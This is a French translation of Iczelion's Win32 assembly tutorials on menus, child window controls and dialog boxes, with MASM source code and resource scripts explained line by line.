Le menu est un des composants le plus important d'une votre fenêtre. Le menu présente la liste des services qu'un programme peut offrir à l'utilisateur. L'utilisateur ne doit pas lire le manuel inclus avec le programme pour être capable de l'employer, il lui suffit de lire attentivement le menu pour obtenir une vue d'ensemble de la capacité d'un programme particulier et commencer à jouer avec lui immédiatement. Puisque un menu est un outil pour que l'utilisateur puisse rapidement se diriger, vous devez suivre la norme. Succinctement, les deux premiers articles du menu doivent être : le fichier et d'Edition et le fichier d'Aide. Vous pouvez insérer vos propres articles de menu entre celui d'Edition et celui de l'Aide. Si un article du menu invoque une boîte de dialogue, vous devez ajouter un ellipsis (...) à la chaîne de caractère du menu.
Le menu est une sorte de ressource. Il y a plusieurs sortes de ressources tels que la boîte de dialogue, les tableaux de caractères, l'icône, bitmap, le menu etc. Les ressources sont décrites dans un fichier séparé, appelé fichier de ressources et qui normalement a l'extension .rc. Vous combinez alors les ressources avec le code source pendant l'étape de liaison. Le produit final est un fichier exécutable qui contient, à la fois les instructions et les ressources.
Vous pouvez écrire des scénarios de ressources en employant n'importe quel éditeur de texte. Ces fichiers ressources sont composés des expressions qui décrivent les convenances ainsi que d'autres attributs des ressources employées dans un programme particulier. Bien que vous puissiez écrire des scénarios de ressource avec un éditeur de texte, c'est plutôt encombrant. Une meilleure alternative est d'employer un éditeur de ressources qui vous laisse concevoir visuellement des ressources avec un bien meilleurs confort. Les éditeurs de ressources sont habituellement inclus dans le pack avec le compilateur comme C Visuel +, Borland C +, etc.
Nous pouvons décrire une ressource de menu comme ceci :
    MyMenu MENU
    {
    [Ici, la liste du menu]
    }
Les programmeurs sous C peuvent se rendre compte que c'est semblable à la déclaration de la structure MyMenu d'un nom de menu suivi par le mot clef MENU et le menu est inscrit entre parenthèses[]. Alternativement, vous pouvez employer 'BEGIN' et 'END' au lieu des parenthèses si vous préférez. Cette syntaxe est plus acceptable pour les programmeurs en Pascal.
La liste du menu peut être soit MENUITEM soit la déclaration POPUP.
La déclaration MENUITEM définit une barre(bar) de menu qui n'invoque pas de menu popup lorsqu'il est choisi. La syntaxe est la suivante :
    MENUITEM "&text", ID [,options]
Il commence par le mot-clé MENUITEM suivi du texte que vous voulez employer en tant que chaîne de caractères pour la barre de menu. Notez l'esperluète. Il sert à souligner le caractère qui le suit. Après la chaîne de caractère formant le texte on trouve le n°ID de l'article du menu. L'ID est le numéro qui sera employé pour identifier l'article du menu dans le message envoyé à la procédure de fenêtre lorsqu'on le sélectionne. Chaque n°ID du menu doit être unique vis à vis des autres.
'Options' justement en option. Les options disponibles sont les suivantes :
  • GRAYED L'article du menu est inactif et il ne produit pas de message WM_COMMAND. Le texte est grisé (grayed).
  • INACTIVE L'article du menu est inactif et il ne produit pas de message WM_COMMAND. Le texte est quand même affiché normalement.
  • MENUBREAK Cet article et les articles suivants apparaissent sur une nouvelle ligne du menu.
  • HELP Cet article et les articles suivants sont alignés à droite.
Vous pouvez employer une de ces options ou bien les combiner entre elles avec l'opérateur "or". Prenez garde à ce que INACTIVE et GRAYED ne soient pas utilisés ensembles.
La syntaxe de la déclaration POPUP est la suivante :
POPUP "&text" [,options]
{
[menu list]
}
La déclaration POPUP définit une barre de menu qui, quand elle est choisi, abaisse une liste d'articles de menu dans une petite fenêtre POPUP. La liste du menu peut être un MENUTIEM ou la déclaration POPUP. Il y a une sorte de déclaration spéciale qui est MENUITEM, MENUITEM est le SÉPARATEUR, qui dessinera une ligne horizontale à l'intérieur de la fenêtre POPUP.
L'étape suivante après que vous en ayez finis avec le scénario de ressources est que votre programme doit faire référence à votre menu.
Vous pouvez faire ceci à deux endroits différents dans votre programme.
  • Dans le membre lpszMenuName de la structure de WNDCLASSEX. Déclarez, que vous avez un menu nommé "FirstMenu", vous pouvez assigné le menu à votre fenêtre comme cela :
        • .DATA
          MenuName db "FirstMenu",0
        ...........................
        ...........................
        .CODE
          ...........................
          mov wc.lpszMenuName, OFFSET MenuName
          ...........................
  • Ou bien dans les paramètres de CreateWindowEx au niveau de l' handle du menu (Hmenu) comme cela :
        • .DATA
          MenuName db "FirstMenu",0
          hMenu HMENU ?
        ...........................
        ...........................
        .CODE
          ...........................
          invoke LoadMenu, hInst, OFFSET MenuName
          mov hMenu, eax
          invoke CreateWindowEx,NULL,OFFSET ClsName,\
          OFFSET Caption, WS_OVERLAPPEDWINDOW,\
          CW_USEDEFAULT,CW_USEDEFAULT,\
          CW_USEDEFAULT,CW_USEDEFAULT,\
          NULL,\
          hMenu,\
          hInst,\
          NULL\
          ...........................
Donc vous pouvez vous demander, quelle est la différence entre ces deux méthodes ?
Quand vous faites référence au menu dans la structure de WNDCLASSEX, le menu devient le menu "par défaut" pour la classe de fenêtre. Chaque fenêtre de cette classe aura le même menu.
Si vous souhaitez que chaque fenêtre ait la même classe mais qu'elles aient des menus différents, vous devez choisir la deuxième forme. Dans ce cas, n'importe quelle fenêtre dont on passe l'handle de son menu à la fonction CreateWindowEx aura un menu qui "ne tient pas compte" du menu par défaut, défini dans la structure WNDCLASSEX.
Ensuite nous devons examiner comment un menu fait pour indiquer à la procédure de fenêtre quand l'utilisateur choisit un des article du menu.
Quand l'utilisateur choisit un article du menu, la procédure de fenêtre reçoit le message WM_COMMAND. Le mot de poids faible de wParam contient le n°ID de l'article choisi dans le menu. (Le mot de poids faible de wParam = si c'est du contenu de eax (qui est sur 32Bit) dont on parle alors on parle plus précisément ici des 16 dernier bits de eax).
Maintenant nous avons les informations suffisantes pour créer et employer un menu. On va le faire.

Example:

Le premier exemple montre comment créer et employer un menu en spécifiant le nom de menu dans la classe de fenêtre.

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MenuName db "FirstMenu",0 ; Le nom de notre menu dans le fichier de ressources.
Test_string db "You selected Test menu item",0
Hello_string db "Hello, my friend",0
Goodbye_string db "See you again, bye",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.const
IDM_TEST equ 1 ; (Menu IDs) ou: Les n°Identification des éléments constituants le Menu
IDM_HELLO equ 2
IDM_GOODBYE equ 3
IDM_EXIT equ 4

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName ; Place le nom de notre menu ici
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF ax==IDM_TEST
invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK
.ELSEIF ax==IDM_HELLO
invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK
.ELSEIF ax==IDM_GOODBYE
invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start
**************************************************************************************************************************

Menu.rc
**************************************************************************************************************************

#define IDM_TEST 1
#define IDM_HELLO 2
#define IDM_GOODBYE 3
#define IDM_EXIT 4

FirstMenu MENU
{
POPUP "&PopUp"
{
MENUITEM "&Say Hello",IDM_HELLO
MENUITEM "Say &GoodBye", IDM_GOODBYE
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}
MENUITEM "&Test", IDM_TEST
}

Analyse:

On va analyser le fichier de ressources d'abord.
#define IDM_TEST 1 /* cette ligne revient au même que : IDM_TEST equ 1*/
#define IDM_HELLO 2
#define IDM_GOODBYE 3
#define IDM_EXIT 4
Les susdites lignes définissent les n°ID des éléments constituants le menu. Vous pouvez assigner n'importe quelle valeur à l'ID tant que cette valeur est unique dans le menu.

FirstMenu MENU

Déclarez votre menu avec le mot clef 'MENU'

POPUP "&PopUp"
{
MENUITEM "&Say Hello",IDM_HELLO
MENUITEM "Say &GoodBye", IDM_GOODBYE
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}

Définit un menu popup avec quatre articles de menu, le troisième est un séparateur de menu.

MENUITEM "&Test", IDM_TEST

Définit une barre de menu dans le menu principal.
Ensuite nous examinons la source du code.

MenuName db "FirstMenu",0 ; C'est le nom de notre menu dans le fichier de ressources.
Test_string db "You selected Test menu item",0
Hello_string db "Hello, my friend",0
Goodbye_string db "See you again, bye",0
MenuName est le nom du menu dans le fichier de ressources. Remarquez que vous pouvez définir plus qu'un menu dans le fichier de ressource. Donc vous devez spécifier quel menu vous voulez employer. Ces trois lignes définissent les chaînes de caractères à afficher dans les boîtes de message (Message Box) qui sont invoquées plus loin quand l'article approprié du menu est choisi par l'utilisateur.
IDM_TEST equ 1 ; (Menu IDs) Les n° d'identités des éléments constituants le Menu.
IDM_HELLO equ 2
IDM_GOODBYE equ 3
IDM_EXIT equ 4
Définit les 'menu IDs' pour pouvoir les utiliser dans la procédure de fenêtre. Ces valeurs DOIVENT ÊTRE identiques à celles définies dans le fichier de ressources.

.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF ax==IDM_TEST
invoke MessageBox,NULL,ADDR Test_string,OFFSET AppName,MB_OK
.ELSEIF ax==IDM_HELLO
invoke MessageBox, NULL,ADDR Hello_string, OFFSET AppName,MB_OK
.ELSEIF ax==IDM_GOODBYE
invoke MessageBox,NULL,ADDR Goodbye_string, OFFSET AppName, MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF

Dans la procédure de fenêtre, nous traitons des messages WM_COMMAND. Quand l'utilisateur choisit un article du menu, le menu ID de cet article est envoyé à la procédure de fenêtre dans le mot de poids faible de wParam grâce au message WM_COMMAND. Ainsi quand nous stockons la valeur de wParam dans eax, on compare sa valeur avec eax au niveau des 'menu IDs' que nous avons définis précédemment et le programme agit en conséquence. Dans les trois premiers cas, quand l'utilisateur sélectionne les articles Test, Say Hello, and Say GoodBye du menu, uniquement une seule chaîne de caractères s'affiche dans une boîte de message.
Si l'utilisateur choisit l'article 'Exit' dans le menu, nous appelons DestroyWindow avec l'handle de notre fenêtre comme paramètre pour qu'il puisse fermer notre fenêtre.
Comme vous pouvez le voir, spécifier le nom du menu dans une classe de fenêtre est très facile. Cependant vous pouvez aussi employer une méthode supplémentaire pour charger un menu dans votre fenêtre. Je ne vous montrerai pas le code source entier ici. Le fichier de ressources est le même pour les deux méthodes. Il y a seulement quelques changements mineurs du fichier source que je vais vous montrer ci-dessous.

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ? ; handle of our menu
Définit une variable de type HMENU pour stocker notre menu handle.

invoke LoadMenu, hInst, OFFSET MenuName
mov hMenu,eax
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,hMenu,\
hInst,NULL

Avant l'appel CreateWindowEx, nous appelons LoadMenu avec l'Instance Handle et un pointeur sur le nom de notre menu. LoadMenu renvoie l'handle de notre menu dans le fichier de ressources que nous passons à CreateWindowEx.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 9: Child Window Controls

Tutorial 9: Child Window Controls

Dans ce tutorial, nous allons voir les 'Child Window Controls' qui sont, pour nos programmes, des mécanismes d'entrée - sortie très importants.

Downloadez le fichier en example ici.

Theorie:

Windows fournit plusieurs classes de fenêtre prédéterminées que nous pouvons aisément employer dans nos propres programmes. La plupart du temps nous les employons, comme par exemple les composants d'une boîte de dialogue. Donc on les appelle généralement les 'Child Window Controls'. Les 'Child Window Controls' traitent leurs propres messages de souris et de clavier et en informent la fenêtre parente quand leurs états ont étés changés. Ils soulagent les programmeurs d'un fardeau énorme, donc vous devez essayer de les employer autant que possible. Dans ce tutorial, je les ai mis sur une fenêtre normale juste pour voir comment vous pouvez les créer et les employer mais en réalité vous devez les mettre dans une boîte de dialogue.
Les exemples de classes de fenêtre prédéterminées sont le bouton, la liste, la boîte à cocher, le bouton radio, d'édition etc.
Pour utiliser un 'Child Window Control', vous devez d'abord le créer avec 'CreateWindow' ou 'CreateWindowEx'. Notez que vous ne devez pas enregistrer la classe de fenêtre puisque Windows l'enregistrera pour vous. Le paramètre 'class name' DOIT ÊTRE le nom de la classe prédéterminée. Quand vous voulez créer un bouton, vous devez mettre "BUTTON" comme nom de classe dans CreateWindowEx. Les autres paramètres que vous devez remplir sont l'handle de la fenêtre parente' et le contrôle ID. Le contrôle ID doit être unique parmi les commandes. Le contrôle ID est le n° d'ID de ce contrôle. Vous l'employez pour le différencier des autres commandes.
Après que ce contrôle ait été créé, des messages sont envoyés pour avertir que l'état de la fenêtre parente a changé. Normalement, vous créez les child window grâce au message WM_CREATE de la fenêtre parente. La fenêtre enfant (child window) envoie le message WM_COMMAND à la fenêtre parente, dont son contrôle ID dans le mot de poids faible du paramètre wParam, son code dans le mot de poids fort de wParam et son 'Window Handle' dans lParam. Chaque 'Child Window Control' a des codes différents, à attribuer à l'instruction qui fait référence à votre API Win32 pour plus d'information.
La fenêtre parente peut envoyer des commandes aux '' aussi, en faisant appel à la fonction SendMessage. La fonction SendMessage envoie donc le message en question en l'accompagnant en plus des valeurs de wParam et lParam vers la child windows ciblée par son 'Window Handle'. C'est une fonction extrêmement utile puisque elle peut envoyer des messages à n'importe quelle fenêtre pourvu que vous sachiez son 'Window Handle' (Window Handle = le n° qui identifie une fenêtre ou bien un objet quelconque comme par exemple un 'champs de saisie de texte' ou bien un 'bouton').
Ainsi, après la création des child windows, la fenêtre parente doit traiter des messages WM_COMMAND pour être capable de recevoir les codes de notification des fenêtres enfant (child windows).

Example:

Nous allons créer une fenêtre qui contient une boîte d'édition (boîte de saisie de texte) et un bouton. Quand vous cliquez sur le bouton, une (MessageBox) boîte de message apparaîtra montrant le texte vous avez tapé la boîte d'édition. Il y a aussi un menu avec 4 articles de menu :
  1. Say Hello -- Met une chaîne de caractères dans la boîte d'édition
  2. Clear Edit Box -- Efface le contenu de la boîte d'édition
  3. Get Text -- Affiche une MessageBox avec le texte de la boîte d'édition
  4. Exit -- Ferme le programme.
.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
MenuName db "FirstMenu",0
ButtonClassName db "button",0
ButtonText db "My First Button",0
EditClassName db "edit",0
TestString db "Wow! I'm in an edit box now",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwndButton HWND ?
hwndEdit HWND ?
buffer db 512 dup(?) ; Buffer pour stocker le texte qu'on inscrit dans la boîte d'édition.

.const
ButtonID equ 1 ; The control ID of the button control
EditID equ 2 ; The control ID of the edit control
IDM_HELLO equ 1
IDM_CLEAR equ 2
IDM_GETTEXT equ 3
IDM_EXIT equ 4

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName, \
ADDR AppName, WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT, CW_USEDEFAULT,\
300,200,NULL,NULL, hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE, ADDR EditClassName,NULL,\
WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT or\
ES_AUTOHSCROLL,\
50,35,200,25,hWnd,8,hInstance,NULL
mov hwndEdit,eax
invoke SetFocus, hwndEdit
invoke CreateWindowEx,NULL, ADDR ButtonClassName,ADDR ButtonText,\
WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\
75,70,140,25,hWnd,ButtonID,hInstance,NULL
mov hwndButton,eax
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_HELLO
invoke SetWindowText,hwndEdit,ADDR TestString
.ELSEIF ax==IDM_CLEAR
invoke SetWindowText,hwndEdit,NULL
.ELSEIF ax==IDM_GETTEXT
invoke GetWindowText,hwndEdit,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
.IF ax==ButtonID
shr eax,16
.IF ax==BN_CLICKED
invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

On va analyser le programme.
    .ELSEIF uMsg==WM_CREATE
    invoke CreateWindowEx,WS_EX_CLIENTEDGE, \
    ADDR EditClassName,NULL,\
    WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT\
    or ES_AUTOHSCROLL,\
    50,35,200,25,hWnd,EditID,hInstance,NULL
    mov hwndEdit,eax
    invoke SetFocus, hwndEdit
    invoke CreateWindowEx,NULL, ADDR ButtonClassName,\
    ADDR ButtonText,\
    WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\
    75,70,140,25,hWnd,ButtonID,hInstance,NULL
    mov hwndButton,eax
Nous créons les commandes pendant le traitement du message WM_CREATE. Nous appelons CreateWindowEx avec un style de fenêtre supplémentaire, WS_EX_CLIENTEDGE. Le nom de chaque contrôle est prédéterminé. On a "EDITION" pour le contrôle de la zone d'édition (ou boîte de saisie de texte), "BUTTON" pour le contrôle du bouton. Ensuite nous spécifions le style de chaque 'Child Window' (le style de chacun des objets qui constituent notre fenêtre. Comme le style du bouton par exemple). Chaque contrôle a des styles supplémentaires en plus des styles de normaux. Par exemple, le style pour le bouton a le préfixe BS_" pour "Button Style", le style de la zone d'édition a pour préfixe "ES _" pour "Edit Style". Notez que vous mettez un contrôle ID à la place de l' Handle du menu. Ceci ne causera aucun problème puisque un (Chlid Window Control) contrôle de fenêtre d'enfant ne peut pas avoir de menu.
Après la création de chaque contrôle, nous obtenons en retour son handle dans une variable pour une future utilisation.
La fonction 'SetFocus' est appelée pour définir le milieu de la boîte d'édition, comme ça l'utilisateur pourra taper son texte tout de suite après l'appel de cette fonction.
Vient maintenant la partie vraiment passionnante. Chaque 'Child Window Control' envoie ses notifications (indications) à sa 'Parent Window' (sa fenêtre parente) avec WM_COMMAND.

.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0

Rappelez-vous bien qu'un menu envoie lui aussi des messages WM_COMMAND vers la fenêtre parente pour l'informer de son propre état. Comment pouvez-vous faire la différence entre des messages WM_COMMAND, émis par un menu (Child Window) ou par un contrôle (effectué par la Parent Window) ? Voici ci-dessous la réponse :

 | Low word of wParam | High word of wParam | lParam
Menu | Menu ID | 0 | 0
Control | Control ID | Notification code | Child Window Handle

Vous pouvez voir que vous devez vérifier lParam. Si c'est zéro, l'actuel message WM_COMMAND provient d'un menu. Vous ne pouvez pas employer wParam pour faire la différence entre un menu et un contrôle, puisque le 'menu ID' et 'control ID' peuvent être identique et le code de notification peut être zéro.

.IF ax==IDM_HELLO
invoke SetWindowText,hwndEdit,ADDR TestString
.ELSEIF ax==IDM_CLEAR
invoke SetWindowText,hwndEdit,NULL
.ELSEIF ax==IDM_GETTEXT
invoke GetWindowText,hwndEdit,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK

Vous pouvez écrire une chaîne de caractère (du texte) dans la boîte d'édition en appelant la fonction SetWindowText. Vous pouvez aussi effacez le contenu de cette boîte d'édition en appelant SetWindowText avec le NULL. SetWindowText une fonction API d'usage flexible. Vous pouvez employer SetWindowText pour modifier du titre dans une fenêtre ou pour changer le texte inscrit sur un bouton.
Pour importer du texte dans une boîte d'édition, vous employez GetWindowText. (Comprenez seulement que, dans ce cas on écrit pas manuellement le texte dans la boîte d'édition (de saisie), mais on le fait s'inscrire dans la zone de saisie comme on aurait pu faire s'inscrire un texte dans une MessageBox).

.IF ax==ButtonID
shr eax,16
.IF ax==BN_CLICKED
invoke SendMessage,hWnd,WM_COMMAND,IDM_GETTEXT,0
.ENDIF
.ENDIF

Ce petit bout de code réagit à la seule condition que l'utilisateur presse le bouton. D'abord, il vérifie le mot bas (ou de poids faible) de wParam pour voir si le 'control ID' correspond à celui du bouton. S'il l'est, il vérifie le haut mot (ou de poids fort) de wParam pour savoir si on a bien l'indication BN_CLICKED, qui est envoyée quand le bouton est cliqué.
La partie qui est intéressante, c'est après qu'on soit certain que le code de notification soit BN_CLICKED. Nous voulons récupérer le texte qu'on vient d'écrire dans la boîte d'édition et le montrer dans une boîte de message (une MessageBox). Nous pourrions faire un double du code de la section IDM_GETTEXT ci-dessus mais ça n'a pas de sens. Si d'une façon ou d'une autre nous pouvions envoyer un message WM_COMMAND avec le mot bas de wParam, alors la valeur contenue dans IDM_GETTEXT serait transmise à notre propre procédure de fenêtre, nous pouvons donc éviter la duplication de ce code et simplifier notre programme. La solution, c'est la fonction SendMessage. Cette fonction envoie n'importe quel message à n'importe quelle fenêtre avec n'importe quel wParam et lParam. Ainsi au lieu de recopier du code, nous appelons SendMessage avec : 1- l'Handle de la fenêtre parente, 2- WM_COMMAND, 3- IDM_GETTEXT et 4- 0. Ceci a le même effet que de sélectionner le menu Item "Get Text" (un de nos sous-menu) du menu. La procédure de fenêtre ne voit aucune différence entre les deux. (La procédure de fenêtre = la procédure qui s'occupe du fonctionnement de notre fenêtre, comme la détection d'un appui sur un bouton ou bien une inscription de texte dans une zone de saisie)
Vous devez essayer d'employer cette technique le plus possible pour organiser votre code au mieux.
Dernier point mais non le moindre, n'oubliez pas d'utiliser la fonction TranslateMessage à l'intérieur de la boucle de message. Puisque vous devez taper du texte dans la boîte d'édition, votre programme doit traduire des entrées clavier brutes en un texte lisible. Si vous omettez cette fonction, vous ne serez incapables de taper quoique ce soit dans votre boîte d'édition.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 10: Boîte de Dialogue comme Fenêtre Principale

Tutorial 10: Boîte de Dialogue
Comme Fenêtre Principale

Vient maintenant un objet vraiment intéressante du GUI (NdT : Graphic User Interface), à savoir : la boîte de dialogue. Dans ce Tutorial (et le suivant), nous apprendrons comment se servir d'une boîte de dialogue comme fenêtre principale.

Downloadez le premier exemple ici, le second Là.

Théorie:

Si vous avez joué assez longtemps avec les exemples des Tutorials précédants, vous avez dû découvrir que la touche TAB ne permettait pas de changer de centre d'entrée d'un 'Child Window Control' à un autre (EX : si vous avez un bouton et une zone de saisie, la touche TAB sert à activer puis à passer de l'un à l'autre. Essayez sur les exemples de ce TUT) . Dans les Tutorials précédents, le seul moyen d'activer le centre d'entrée d'un des 'Child Wondow Control' était de simple-cliquer sur l'un d'eux. C'est une situation un peu lourde. Une nouvelle chose à remarquer, c'est que j'ai changé la couleur du fond de la fenêtre parente, elle est grise maintenant au lieu de blanche comme dans des exemples précédents. C'est fait pour que la couleur des 'child window controls' puisse se mélanger sans différence avec la couleur du 'secteur client' de la fenêtre parente. Il y a une autre façon de contourner ce problème mais ce n'est pas facile. Vous devez sous-classer tous les 'child window controls' de votre fenêtre parente.
La raison pour laquelle un tel inconvénient existe, c'est qu'à l'origine les 'Child Window Controls' ont étés conçus pour travailler avec une boîte de dialogue, et non pas une simple fenêtre. La couleur par défaut des 'Child Window Controls' tel qu'un bouton est grise parce que le 'secteur client' d'une boîte de dialogue est normalement gris. Donc ils se marient l'un avec l'autre sans que le programmeur ne se casse encore plus la tête sur un détail comme ça.
Avant que nous n'allions plus profondément dans les détails, nous devons d'abord comprendre ce qu'est une boîte de dialogue. Une boîte de dialogue n'est rien de plus d'une fenêtre normale qui est conçue pour travailler avec des'child window controls'. Windows possède aussi son propre ''administrateur de boîte de dialog'' lequel est responsable de la majeure partie de la logique du clavier, comme par exemple le changement du centre d'entrée quand l'utilisateur presse 'TAB' (= activer un autre Child Window Control avec TAB), ou bien en 'Validant' la touche dont son centre d'entrée est sélectionné si la touche ENTER est pressée (=quand vous avez 2 boutons dans une fenêtre, un OK l'autre NON, si c'est OK qui est sélectionné en cadre pointillé, en appuyant sur ENTER c'est comme si on avait cliqué sur OK ), etc… donc avec ça, les programmeurs peuvent traiter des tâches de plus haut niveau. Les boîtes de dialogue sont principalement employées comme des dispositifs d'Entrée / Sorties. Puisqu'une telle boîte de dialogue peut être considérée comme une "boîte noire" d' Entrée / Sortie, vous n'avez pas besoin de savoir comment travaille intérieurement cette boîte de dialogue pour pouvoir l'employer. Vous devez seulement savoir comment elle agir. C'est le principe d'OBJET ORIENTÉ PROGRAMMÉ (OOP) qui fait en sorte que l'information est dissimulée (tout n'est pas apparent dans son fonctionnement). Si la boîte noire était *parfaitement* conçue, l'utilisateur devrait pouvoir s'en servir sans aucune connaissance de son fonctionne. Le hic c'est que la boîte noire doit être parfaite, et en réalité c'est difficile à réaliser car les API Win32 sont aussi conçues comme des boîtes noire.
Bien, il semble que nous dévions de notre chemin. On va revenir à notre sujet. Les boîtes de dialogue sont conçues pour réduire le travail du programmeur. Normalement si vous utilisez des 'Child Window Controls' sur une fenêtre normale, vous devez les sous-classer et écrire (définir) la logique du clavier vous-même. Mais si vous les mettez sur une boîte de dialogue, tout ceci sera manipulé pour vous. Vous devez seulement savoir comment s'utilisent vos Child Window dans la boîte de dialogue ou comment envoyer des commandes.
Une boîte de dialogue est définie comme une ressource (un objet qu'on défini pour pouvoir l'utiliser parmi d'autres) un peu de la même façon qu'un menu. Vous décrivez les caractéristiques de votre boîte de dialogue et de ses commandes, puis ensuite vous compilez le scénario de ressources avec un éditeur de ressources.
Remarquez que toutes les ressources sont réunies dans le même fichier de scénario de ressource. Vous pouvez employer n'importe quel éditeur de texte pour écrire un calibre de boîte de dialogue mais je ne le recommande pas. Vous vaut mieux employer un éditeur de ressources pour faire le travail visuellement puisque l'arrangement des 'child window controls' sur une boîte de dialogue est difficile à faire manuellement. Plusieurs éditeurs de ressources excellents sont disponibles. La plupart des Packs de compilateurs incluent aussi leurs propres éditeurs de ressources. Vous pouvez les employer pour créer un scénario de ressources pour votre programme et couper ensuite les lignes sans rapport comme celles liés à MFC.
